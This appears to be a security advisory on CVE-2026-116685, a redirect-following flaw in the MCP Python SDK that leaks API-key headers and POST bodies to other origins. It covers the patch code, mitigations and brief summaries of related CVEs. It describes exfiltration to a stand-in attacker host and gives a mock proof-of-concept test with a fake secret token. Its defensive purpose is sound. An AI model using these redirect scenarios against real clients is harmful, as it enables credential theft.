Oct 28, 2026·11 min read·4 visits
The Model Context Protocol (MCP) Python SDK (`mcp` versions 1.8.0–1.29.1 and 2.0.0–2.1.1) unconditionally follows cross-origin HTTP redirects in its Streamable HTTP, SSE, and OAuth client transports. If a trusted MCP server or intermediate proxy redirects a client to an external domain, custom credential headers (e.g., `X-API-Key`) and HTTP 307/308 POST request bodies are transmitted to the external host. Users should upgrade to version 1.30.0 or 2.2.0, which restrict redirect traversal strictly to the original endpoint origin.
CVE-2026-116685 (GHSA-5h93-6whr-6q8j) is a sensitive information disclosure vulnerability in the official Model Context Protocol (MCP) Python SDK (`mcp` on PyPI). In versions 1.8.0 through 1.29.1 and 2.0.0 through 2.1.1, the SDK's HTTP-based client transports—including Streamable HTTP, Server-Sent Events (SSE), and OAuth client flows—unconditionally enable automatic HTTP redirect following (`follow_redirects=True`) across origin boundaries. When a configured endpoint returns a redirect to an external origin, the HTTP client forwards caller-supplied custom authentication headers (such as `X-API-Key`) and, in the case of HTTP 307 or 308 responses, replays the full POST request body containing JSON-RPC payloads or OAuth parameters to the untrusted destination.
The Model Context Protocol (MCP) Python SDK (mcp) provides the official client and server reference implementations for integrating large language model (LLM) applications with external data sources and tools. On the client side, the SDK offers several network transport mechanisms to establish bidirectional communication with remote MCP servers over HTTP, specifically streamable_http_client, streamablehttp_client, sse_client, and ClientSessionGroup. Additionally, the SDK includes integrated OAuth 2.0 client providers (OAuthClientProvider and IdentityAssertionOAuthProvider) to manage resource discovery, dynamic client registration, and token acquisition.
In versions 1.8.0 through 1.29.1 and 2.0.0 through 2.1.1, these HTTP client pathways are vulnerable to cross-origin sensitive information exposure, tracked as CVE-2026-116685 (GHSA-5h93-6whr-6q8j) and classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). By default, the internal HTTP client initialization logic configures the underlying httpx.AsyncClient (in v1.x) or httpx2.AsyncClient (in v2.x) with follow_redirects=True. Because this setting is applied globally without origin validation hooks, the client automatically follows HTTP 3xx redirect responses to arbitrary external hosts.
When an MCP client follows a redirect to a different origin, the underlying HTTP library strips the standard RFC 7235 Authorization header. However, any caller-supplied custom headers configured on the client—such as X-API-Key, custom bearer headers, or proprietary authentication tokens—remain attached to the redirected request and are transmitted to the new host. Furthermore, when the redirect uses HTTP status codes 307 Temporary Redirect or 308 Permanent Redirect, the client preserves the POST HTTP method and replays the entire request payload, exposing JSON-RPC method invocations, tool arguments, and OAuth parameters to the destination server.
This vulnerability affects only MCP client configurations operating over HTTP or SSE transports. MCP server implementations, clients communicating exclusively over stdio transports, and applications that pass a custom httpx.AsyncClient instance with follow_redirects=False (the httpx default) are unaffected.
The root cause of CVE-2026-116685 resides in how the MCP Python SDK initializes and manages httpx client sessions across its transport and authentication modules. In src/mcp/shared/_httpx_utils.py, the helper function create_mcp_http_client() serves as the default factory for creating asynchronous HTTP clients across the SDK. Prior to the patch, this factory hardcoded follow_redirects=True in the keyword arguments passed to httpx.AsyncClient.
In the httpx library, enabling follow_redirects=True delegates redirect resolution entirely to the HTTP client layer. When httpx processes a redirect that crosses origin boundaries (defined by a change in scheme, host, or port), its internal redirect handler strips the standard Authorization and Cookie headers to adhere to baseline RFC security semantics. However, httpx has no context regarding which custom application headers contain sensitive credentials. Consequently, custom headers stored in client.headers—most notably API keys like X-API-Key or X-Auth-Token commonly used to authenticate against cloud-hosted MCP gateways—are copied directly into the follow-up httpx.Request object targeting the new origin.
A second distinct leakage mechanism occurs due to strict adherence to RFC 7231 (§6.4.7) and RFC 7538 (§3) regarding HTTP 307 and 308 status codes. Unlike 301, 302, and 303 redirects—where httpx converts a POST request into a body-less GET request—307 and 308 semantics forbid changing the HTTP method or discarding the body. When streamable_http_client or sse_client transmits a JSON-RPC message via client.stream("POST", ...) or client.post(...) and encounters a 307 or 308 response, httpx reconstructs the request with the original byte stream and transmits it verbatim to the Location URI.
> [!NOTE]
> The same architectural flaw extends to the SDK's OAuth 2.0 implementation (OAuthClientProvider in src/mcp/client/auth/oauth2.py). Because the OAuth provider functions as an httpx.Auth flow generator (async_auth_flow), its discovery, dynamic client registration, and token exchange requests were executed by the same redirect-following client, exposing OAuth registration payloads and token requests to cross-origin redirects.
The remediation, implemented in commit c6762e821c527925f0b617db216d00fbd1d0bf99 (v2.x) and backported in commit 2106335745563b2321b8c73fef2c12903d00aa6e (v1.x), replaces unconditional redirect following with explicit, per-hop origin validation in src/mcp/shared/_httpx_utils.py. First, the default client factory was modified to stop enabling follow_redirects:
# Vulnerable implementation in src/mcp/shared/_httpx_utils.py (pre-1.30.0 / pre-2.2.0)
def create_mcp_http_client(
headers: dict[str, str] | None = None,
timeout: httpx.Timeout | None = None,
auth: httpx.Auth | None = None,
) -> httpx.AsyncClient:
# Hardcoding follow_redirects=True caused httpx to follow cross-origin redirects
kwargs: dict[str, Any] = {"follow_redirects": True}
if timeout is None:
kwargs["timeout"] = httpx.Timeout(MCP_DEFAULT_TIMEOUT, read=MCP_DEFAULT_SSE_READ_TIMEOUT)
else:
kwargs["timeout"] = timeout
if headers is not None:
kwargs["headers"] = headers
if auth is not None:
kwargs["auth"] = auth
return httpx.AsyncClient(**kwargs)To preserve legitimate same-origin redirects (such as trailing-slash normalization /mcp to /mcp/ or default-port http:// to https:// upgrades on the same host) while blocking cross-origin transfers, the patch introduces _within_origin() and next_request_within_origin() in src/mcp/shared/_httpx_utils.py (with additional userinfo preservation logic refined in commit 9771e6b59c775ecb2584849d389ce9efba23a541):
# Patched origin verification in src/mcp/shared/_httpx_utils.py
def _within_origin(url: httpx.URL, location: httpx.URL) -> bool:
# Verify exact match of scheme, lowercase host, and normalized port
if (url.scheme, url.host, url.port) == (location.scheme, location.host, location.port):
return True
# Permit standard HTTP-to-HTTPS upgrade on the exact same host and default ports
return (
url.host == location.host
and url.scheme == "http"
and url.port is None
and location.scheme == "https"
and location.port is None
)
def next_request_within_origin(response: httpx.Response) -> httpx.Request | None:
next_request = response.next_request
if next_request is None:
return None
sent = response.request
# Reject if method changed (e.g. POST turned into GET on 301/302),
# if Location injects new URL userinfo, or if destination leaves origin
if (
next_request.method != sent.method
or (next_request.url.userinfo and next_request.url.userinfo != sent.url.userinfo)
or not _within_origin(sent.url, next_request.url)
):
return None
return next_requestAll HTTP transport calls in streamable_http.py and sse.py were updated to execute requests through the new stream_within_origin() and request_within_origin() wrappers. These wrappers explicitly pass follow_redirects=False to client.send(), overriding the setting even if a caller supplied a custom httpx.AsyncClient(follow_redirects=True):
@asynccontextmanager
async def stream_within_origin(
client: httpx.AsyncClient, method: str, url: httpx.URL | str, **kwargs: Any
) -> AsyncGenerator[httpx.Response]:
request = client.build_request(method, url, **kwargs)
followed = 0
while True:
# Force follow_redirects=False on every individual hop
response = await client.send(request, stream=True, follow_redirects=False)
next_request = next_request_within_origin(response)
if next_request is None or followed == client.max_redirects:
break
try:
await response.aread()
finally:
await response.aclose()
request = next_request
followed += 1
try:
yield response
finally:
await response.aclose()Additionally, src/mcp/client/auth/oauth2.py was updated with a RedirectAwareAuth base class that intercepts generator yields in async_auth_flow. It enforces a hard limit of _OAUTH_MAX_REDIRECTS = 5 and validates every redirect via next_request_within_origin(). The fix is comprehensive: by enforcing follow_redirects=False at the client.send() call site and validating origin tuples (scheme, host, port), the patch eliminates cross-origin leaks, protocol downgrades (HTTPS to HTTP), and method-conversion message drops.
Exploiting CVE-2026-116685 requires an attacker to influence the HTTP response of an endpoint that an MCP client connects to, causing it to emit a 3xx redirect pointing to an attacker-controlled server. While a malicious MCP server already receives the client's headers and request body directly, this vulnerability becomes exploitable in scenarios involving intermediate infrastructure or indirect endpoint manipulation. Practical attack vectors include exploiting an open redirect vulnerability on the target MCP gateway host, hijacking an expired domain referenced by a legacy redirect rule, compromising a reverse proxy or API gateway routing table, or modifying traffic on an unencrypted http:// link.
In a custom header exfiltration scenario, a developer configures an MCP client to connect to an enterprise MCP gateway (https://mcp-gateway.internal.example/v1/mcp) using a custom X-API-Key header. If an attacker compromises an ingress rule or triggers an open redirect on mcp-gateway.internal.example such that the server responds with HTTP/1.1 302 Found and Location: https://collector.attacker.example/log, the vulnerable MCP SDK automatically issues a GET request to collector.attacker.example with the X-API-Key header attached.
In a payload exfiltration scenario, the attacker forces the redirecting endpoint to return HTTP/1.1 307 Temporary Redirect or HTTP/1.1 308 Permanent Redirect. When the MCP client sends an initialization payload or invokes an MCP tool via POST, the client replays the full JSON-RPC request body to the attacker's server. The following proof-of-concept test demonstrates the difference in behavior between vulnerable and patched versions using httpx.MockTransport:
import httpx
from mcp.client.streamable_http import streamable_http_client
from mcp.shared.message import SessionMessage
from mcp.types import JSONRPCMessage, JSONRPCRequest
async def verify_cve_2026_116685():
captured_requests: list[httpx.Request] = []
def mock_handler(request: httpx.Request) -> httpx.Response:
captured_requests.append(request)
if request.url.host == "trusted.example":
# Simulate a 307 redirect to an untrusted external origin
return httpx.Response(
status_code=307,
headers={"Location": "https://untrusted.example/collect"}
)
return httpx.Response(200, json={"jsonrpc": "2.0", "id": 1, "result": {}})
transport = httpx.MockTransport(mock_handler)
custom_headers = {"X-API-Key": "mcp-secret-token-98765"}
async with httpx.AsyncClient(transport=transport, headers=custom_headers, follow_redirects=True) as client:
try:
async with streamable_http_client("https://trusted.example/mcp", http_client=client) as (read_stream, write_stream, _):
req = JSONRPCRequest(jsonrpc="2.0", id=1, method="tools/call", params={"name": "read_secret_file"})
await write_stream.send(SessionMessage(JSONRPCMessage(req)))
await read_stream.receive()
except Exception:
pass
leaked = [r for r in captured_requests if r.url.host == "untrusted.example"]
if leaked:
print(f"VULNERABLE: Leaked headers {leaked[0].headers.get('x-api-key')} and body {leaked[0].content}")
else:
print("PATCHED: Cross-origin redirect was not followed.")In versions prior to 1.30.0 and 2.2.0, executing this test populates the leaked list with a request to untrusted.example containing both `
The primary impact of CVE-2026-116685 is unauthorized disclosure of sensitive authentication credentials and confidential application data (Confidentiality: High). In enterprise MCP deployments, clients frequently authenticate to remote tool servers using static API keys (X-API-Key), service-mesh tokens, or custom proxy headers. If these credentials are leaked to an external origin via a redirect, an attacker can use them to authenticate directly against the legitimate MCP server, invoke privileged tools, or access backend resources associated with the client's identity.
Beyond credential exposure, the replay of POST bodies during 307 and 308 redirects exposes the contents of JSON-RPC messages (initialize, tools/call, resources/read, prompts/get). Because MCP is designed to pass context, user prompts, database queries, and file contents between host applications and remote servers, intercepting these request bodies gives an attacker direct visibility into sensitive operational data. Similarly, in OAuth-enabled workflows, cross-origin redirects during dynamic client registration or token requests can expose client metadata and authorization parameters.
The vulnerability is scored at CVSS v3.1 5.9 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N. The Attack Complexity (AC:H) metric reflects that an attacker cannot trigger the vulnerability autonomously against an arbitrary client; exploitation depends on preconditions outside the client's immediate control, such as an open redirect on the trusted server, a misconfigured reverse proxy, DNS/domain takeover of a retired redirect target, or an active man-in-the-middle position. Integrity and Availability metrics are rated as None (I:N/A:N) because the redirect mechanism itself only discloses data and does not allow modifying client state or disrupting service beyond connection failure.
To remediate CVE-2026-116685, upgrade the mcp package to version 1.30.0 (for projects on the 1.x release line) or 2.2.0 (for projects on the 2.x release line). The patched releases enforce strict origin checks on all HTTP redirects across streamable_http_client, streamablehttp_client, sse_client, ClientSessionGroup, and OAuth flows without requiring any changes to application code.
# For applications using the 1.x release series:
pip install --upgrade "mcp>=1.30.0,<2.0.0"
# For applications using the 2.x release series:
pip install --upgrade "mcp>=2.2.0"> [!IMPORTANT]
> After upgrading, if a server returns a cross-origin redirect or an HTTPS-to-HTTP downgrade redirect, the SDK will refuse to follow it and will raise an httpx.HTTPStatusError (in v1.30.0+) or an MCPError with code INVALID_REQUEST (in v2.2.0+). If yourMCP server sits behind a TLS-terminating reverse proxy that issues relative or http:// redirects on trailing slashes (e.g., /mcp to http://host/mcp/), configure the server proxy to trust X-Forwarded-Proto headers or configure the client URL to match the exact canonical path.
For environments where an immediate package upgrade is not feasible, developers can mitigate the issue by passing a custom httpx.AsyncClient instance with follow_redirects=False explicitly configured:
import httpx
from mcp.client.streamable_http import streamable_http_client
# Workaround for mcp < 1.30.0 / < 2.2.0:
# Supply a custom AsyncClient with follow_redirects=False
custom_client = httpx.AsyncClient(
headers={"X-API-Key": "your-api-key"},
timeout=httpx.Timeout(30.0, read=300.0),
follow_redirects=False,
)
async with streamable_http_client("https://mcp.example.com/mcp", http_client=custom_client) as (read, write, _):
...When using sse_client or streamablehttp_client in v1.x, pass a custom httpx_client_factory callable that returns an httpx.AsyncClient initialized with follow_redirects=False. Finally, if any MCP client instances in your environment connected to endpoints with untrusted or third-party redirect rules while configured with custom credential headers, rotate the affected API keys and tokens immediately.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mcp (Python SDK) modelcontextprotocol | >= 1.8.0, < 1.30.0 | 1.30.0 |
mcp (Python SDK) modelcontextprotocol | >= 2.0.0, < 2.2.0 | 2.2.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-116685 (GHSA-5h93-6whr-6q8j) |
| Weakness Class | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| CVSS v3.1 Score | 5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Affected Package | mcp (PyPI) >= 1.8.0, < 1.30.0 and >= 2.0.0, < 2.2.0 |
| Patched Versions | 1.30.0 (1.x branch) and 2.2.0 (2.x branch) |
| Attack Vector | Network (Cross-Origin HTTP 3xx Redirects on MCP Client Transports) |
| Primary Impact | Leakage of custom credential headers (e.g., X-API-Key) and HTTP 307/308 POST bodies |
| CISA KEV Status | Not Listed |
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Specifically, sensitive custom HTTP authentication headers and JSON-RPC POST request bodies are forwarded across origin boundaries during automatic HTTP redirect handling.
CVE-2026-116686 is a Server-Side Request Forgery (SSRF) and Denial of Service (DoS) vulnerability in the official Model Context Protocol (MCP) Python SDK (mcp package on PyPI). When an MCP client validates structured tool execution results against a server-provided outputSchema, the SDK invokes the Python jsonschema library with its default URI resolution configuration. An untrusted or compromised MCP server can supply an outputSchema containing external $ref directives (using http://, https://, or file:// schemes), forcing the client process to synchronously fetch internal network resources, read local files, or block the main event loop indefinitely.
CVE-2026-116694 (GHSA-f5m9-jfrj-jjj7) is an unbounded resource allocation vulnerability (CWE-770) in the optional Jaeger propagator component (opentelemetry-propagator-jaeger) of the OpenTelemetry Python SDK prior to version 1.45.0. When extracting distributed tracing context from inbound carriers, JaegerPropagator.extract() processes all headers prefixed with 'uberctx-' without enforcing limits on entry count, per-entry byte size, or aggregate byte size. In environments where transport-level header constraints are absent, relaxed, or bypassed (such as non-HTTP message brokers, RPC frameworks, or web servers with elevated buffer configurations), an unauthenticated remote attacker can supply high-volume or oversized baggage headers to trigger excessive URL unquoting, short-lived immutable dictionary allocations, and CPU starvation.
CVE-2026-116684 is an incorrect authorization vulnerability (CWE-863) in the Model Context Protocol (MCP) Python SDK (`modelcontextprotocol/python-sdk`). The server-side bearer authentication middleware (`BearerAuthBackend`) verifies token cryptographic signatures and expiration timestamps via `TokenVerifier`, but fails to verify that the token's audience (`aud` claim or RFC 8707 resource indicator) matches the receiving MCP server's configured `resource_server_url`. In multi-service environments sharing a single OAuth 2.0 Authorization Server, an attacker possessing a valid token for an unrelated service can replay it against the MCP server to gain unauthorized access to protected tools, resources, and prompts.
CVE-2026-116675 is a stored Cross-Site Scripting (XSS) vulnerability in the TinyMCE rich text editor affecting versions 7.9.3 and 8.5.1 through 8.9.2. The flaw resides in the media plugin's serialization logic, where placeholder elements configured with the data-mce-object attribute are converted into real DOM elements using the active window's document context prior to sanitization. When an attacker supplies a media element with an invalid source attribute alongside an inline event handler attribute such as data-mce-p-onerror, the browser resolves the resource and executes the malicious JavaScript before the sanitizer can strip the dangerous attributes.
CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.
CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.